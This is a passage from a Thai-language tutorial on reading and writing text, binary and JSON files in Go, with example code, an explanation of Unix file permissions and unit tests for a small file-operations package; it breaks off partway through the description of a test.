&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE02;&#xE2D;&#xE07; byte &#xE08;&#xE32;&#xE01;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; string &#xE14;&#xE49;&#xE27;&#xE22; Function &quot;string()&quot; &#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>package main

import (
    &quot;fmt&quot;
    &quot;os&quot;
)

func main() {
    // &#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;
    content, err := os.ReadFile(&quot;text.txt&quot;)
    if err != nil {
        fmt.Println(&quot;Error reading file:&quot;, err)
        return
    }
    fmt.Println(&quot;File content:&quot;, string(content))

    // &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;
    newContent := []byte(&quot;Hello &#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&quot;)
    err = os.WriteFile(&quot;newtext.txt&quot;, newContent, os.FileMode(0644))
    if err != nil {
        fmt.Println(&quot;Error writing file:&quot;, err)
    }
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; os.ReadFile() &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C; filename &#xE40;&#xE1B;&#xE47;&#xE19; string &#xE41;&#xE25;&#xE30; Return &#xE01;&#xE25;&#xE31;&#xE1A;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; 2 &#xE15;&#xE31;&#xE27; &#xE04;&#xE37;&#xE2D; content &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19; Slice &#xE02;&#xE2D;&#xE07; byte ([]byte) &#xE41;&#xE25;&#xE30; err &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Interface &quot;error&quot; </p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> byte &#xE40;&#xE1B;&#xE47;&#xE19; Alias &#xE02;&#xE2D;&#xE07; uint8 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Go &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE21;&#xE32;&#xE22; (Unsigned Integer) &#xE02;&#xE19;&#xE32;&#xE14; 8 &#xE1A;&#xE34;&#xE15;</p><p>&#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; error &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE41;&#xE1B;&#xE25;&#xE07; content &#xE08;&#xE32;&#xE01; []byte &#xE40;&#xE1B;&#xE47;&#xE19; string &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE08;&#xE2D;</p><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Slice &#xE02;&#xE2D;&#xE07; byte &#xE08;&#xE32;&#xE01; string &quot;Hello, World!&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE31;&#xE07;&#xE01;&#xE24;&#xE29;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Encode &#xE41;&#xE1A;&#xE1A; ASCII &#xE41;&#xE25;&#xE30;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Encode &#xE41;&#xE1A;&#xE1A; UTF-8</p><p>Function &quot;os.WriteFile()&quot; &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;newtext.txt&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; newContent &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; []byte &#xE41;&#xE25;&#xE30; Permission o644 &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; Unix (Read &#xE41;&#xE25;&#xE30; Write &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE08;&#xE49;&#xE32;&#xE02;&#xE2D;&#xE07; &#xE41;&#xE25;&#xE30; Read &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE2D;&#xE37;&#xE48;&#xE19;)</p><p>&#xE42;&#xE14;&#xE22; Go &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; o644 &#xE1A;&#xE19; Windows</p><p>Go &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE1A;&#xE1A; Unix-like System &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE10;&#xE32;&#xE19;&#xE41;&#xE1B;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; 0644 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE08;&#xE30;&#xE41;&#xE17;&#xE19;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Owner, Group &#xE41;&#xE25;&#xE30; Other &#xE15;&#xE32;&#xE21;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A; &#xE42;&#xE14;&#xE22; 0644 &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;</p><p>Owner &#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE14;&#xE49; (6 = 4+2)<br>Group &#xE2D;&#xE48;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; (4)<br>Other &#xE2D;&#xE48;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; (4)</p><p>4 &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07; Read Permission<br>2 &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07; Write Permission<br>1 &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07; Execute Permission</p><p><strong>Function &quot;os.WriteFile&quot; &#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE40;&#xE14;&#xE34;&#xE21;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE17;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE40;&#xE14;&#xE34;&#xE21;&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;!</strong></p><p><strong>Binary File</strong></p><p>Binary File &#xE40;&#xE0A;&#xE48;&#xE19; &#xE23;&#xE39;&#xE1B;&#xE20;&#xE32;&#xE1E; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07; &#xE41;&#xE25;&#xE30; &#xE44;&#xE1F;&#xE25;&#xE4C; PDF &#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE02;&#xE2D;&#xE07; byte &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Encode &#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;</p><pre><code>package main

import (
    &quot;fmt&quot;
    &quot;os&quot;
)

func main() {
    // &#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE23;&#xE39;&#xE1B;&#xE20;&#xE32;&#xE1E;
    imageData, err := os.ReadFile(&quot;image.jpg&quot;)
    if err != nil {
        fmt.Println(&quot;Error reading image:&quot;, err)
        return
    }
    fmt.Printf(&quot;Image size: %d bytes\n&quot;, len(imageData))

    // &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE23;&#xE39;&#xE1B;&#xE20;&#xE32;&#xE1E; (copy)
    err = os.WriteFile(&quot;copy_image.jpg&quot;, imageData, os.FileMode(0644))
    if err != nil {
        fmt.Println(&quot;Error writing image:&quot;, err)
    }
}</code></pre><p><strong>Structure Data File</strong></p><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Structure Data File &#xE40;&#xE0A;&#xE48;&#xE19; JSON, XML &#xE41;&#xE25;&#xE30; CSV &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07; <strong>&#xE2D;&#xE48;&#xE32;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; []byte &#xE01;&#xE48;&#xE2D;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27;&#xE04;&#xE48;&#xE2D;&#xE22; Parse &#xE40;&#xE1B;&#xE47;&#xE19; struct</strong> &#xE2A;&#xE48;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07; <strong>Encode &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; struct &#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;</strong> &#xE40;&#xE0A;&#xE48;&#xE19; JSON &#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE25;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;</p><p>&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; <strong>json.Unmarshal()</strong> &#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Parse &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; JSON &#xE17;&#xE35;&#xE48;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE21;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; struct Person &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE2A;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23; &quot;&#xE41;&#xE01;&#xE30;&quot; &#xE2B;&#xE23;&#xE37;&#xE2D; &quot;&#xE40;&#xE1B;&#xE34;&#xE14;&quot; &#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&#xE20;&#xE31;&#xE13;&#xE11;&#xE4C;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49; &#xE41;&#xE25;&#xE30; <strong>json.Marshal() </strong>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; Encode &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; struct &#xE40;&#xE1B;&#xE47;&#xE19; JSON &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE2A;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23; &quot;&#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&quot; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE02;&#xE19;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>package main

import (
    &quot;encoding/json&quot;
    &quot;fmt&quot;
    &quot;os&quot;
)

type Person struct {
    Name string `json:&quot;name&quot;`
    Age  int    `json:&quot;age&quot;`
}

func main() {
    // &#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON
    content, err := os.ReadFile(&quot;data.json&quot;)
    if err != nil {
        fmt.Println(&quot;Error reading file:&quot;, err)
        return
    }

    var person Person
    err = json.Unmarshal(content, &amp;person)
    if err != nil {
        fmt.Println(&quot;Error parsing JSON:&quot;, err)
        return
    }
    fmt.Printf(&quot;Person: %+v\n&quot;, person)

    // &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON
    newPerson := Person{Name: &quot;Jane&quot;, Age: 25}
    newContent, err := json.Marshal(newPerson)
    if err != nil {
        fmt.Println(&quot;Error encoding JSON:&quot;, err)
        return
    }

    err = os.WriteFile(&quot;newdata.json&quot;, newContent, os.FileMode(0644))
    if err != nil {
        fmt.Println(&quot;Error writing file:&quot;, err)
    }
}</code></pre><figure class="kg-card kg-code-card"><pre><code>{&quot;name&quot;:&quot;nuttachot&quot;,
&quot;age&quot;:25}</code></pre><figcaption>person.json</figcaption></figure><p>&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07; Import package &quot;<strong>encoding/json</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Go struct &#xE41;&#xE25;&#xE30; JSON</p><p>&#xE41;&#xE17;&#xE47;&#xE01; json:&quot;name&quot; &#xE41;&#xE25;&#xE30; json:&quot;age&quot; <strong>&#xE1A;&#xE2D;&#xE01;&#xE43;&#xE2B;&#xE49; JSON encoder/decoder &#xE43;&#xE0A;&#xE49;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;name&quot; &#xE41;&#xE25;&#xE30; &quot;age&quot; &#xE43;&#xE19; JSON &#xE41;&#xE17;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE08;&#xE23;&#xE34;&#xE07;&#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32; Go</strong></p><p>&#xE0B;&#xE36;&#xE48;&#xE07; json.Marshal() &#xE08;&#xE30; Encode &quot;struct&quot; &#xE40;&#xE1B;&#xE47;&#xE19; JSON &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE25;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;</p><p>&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48; struct &#xE21;&#xE35;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Encode &#xE25;&#xE07;&#xE43;&#xE19; JSON &#xE40;&#xE0A;&#xE48;&#xE19; &#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; sensitive (Password &#xE2B;&#xE23;&#xE37;&#xE2D; Token) &#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49; JSON Tag &#xA0;<code>json:&quot;-&quot;</code> &#xA0;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49; Encode &#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE19;&#xE31;&#xE49;&#xE19;</p><p><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</strong></p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Read/Write &#xE44;&#xE1F;&#xE25;&#xE4C; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Function &#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Package &quot;fileops&quot; &#xE41;&#xE22;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE32;&#xE01; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE21;&#xE31;&#xE19;&#xE43;&#xE19; main() &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; fileops
        &#x251C;&#x2500;&#x2500; file_ops.go
        &#x2514;&#x2500;&#x2500; file_ops_test.go</code></pre><p><strong>file_ops.go</strong> &#xE04;&#xE37;&#xE2D; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE43;&#xE19; Package &quot;fileops&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Function &quot;ReadTextFile&quot;, &quot;WriteTextFile&quot;, &quot;ReadJSONFile&quot; &#xE41;&#xE25;&#xE30; &quot;WriteJSONFile&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test</p><pre><code>// file_ops.go
package fileops

import (
    &quot;encoding/json&quot;
    &quot;os&quot;
)

func ReadTextFile(filename string) (string, error) {
    content, err := os.ReadFile(filename)
    if err != nil {
        return &quot;&quot;, err
    }
    return string(content), nil
}

func WriteTextFile(filename string, content string) error {
    return os.WriteFile(filename, []byte(content), os.FileMode(0644))
}

type Person struct {
    Name string `json:&quot;name&quot;`
    Age  int    `json:&quot;age&quot;`
}

func ReadJSONFile(filename string) (Person, error) {
    var person Person
    content, err := os.ReadFile(filename)
    if err != nil {
        return person, err
    }
    err = json.Unmarshal(content, &amp;person)
    return person, err
}

func WriteJSONFile(filename string, person Person) error {
    content, err := json.Marshal(person)
    if err != nil {
        return err
    }
    return os.WriteFile(filename, content, os.FileMode(0644))
}</code></pre><p><strong>file_ops_test.go</strong> &#xE04;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;</p><p>Function &quot;<strong>TestReadWriteTextFile</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &quot;test.txt&quot; &#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &quot;Hello, World!&quot; &#xE25;&#xE07;&#xE44;&#xE1B;</li><li>&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1B;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</li><li>&#xE16;&#xE49;&#xE32;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27; &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; <strong>t.Fatalf &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;</strong></li><li>&#xE16;&#xE49;&#xE32;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE19; &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; t.Errorf &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;</li><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Test &#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE30;&#xE25;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE17;&#xE34;&#xE49;&#xE07; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23; Test &#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</li></ol><p>Function &quot;<strong>TestReadWriteJSONFile</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &quot;test.json&quot; &#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Person &#xE25;&#xE07;&#xE44;&#xE1B;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON</li><li>&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON 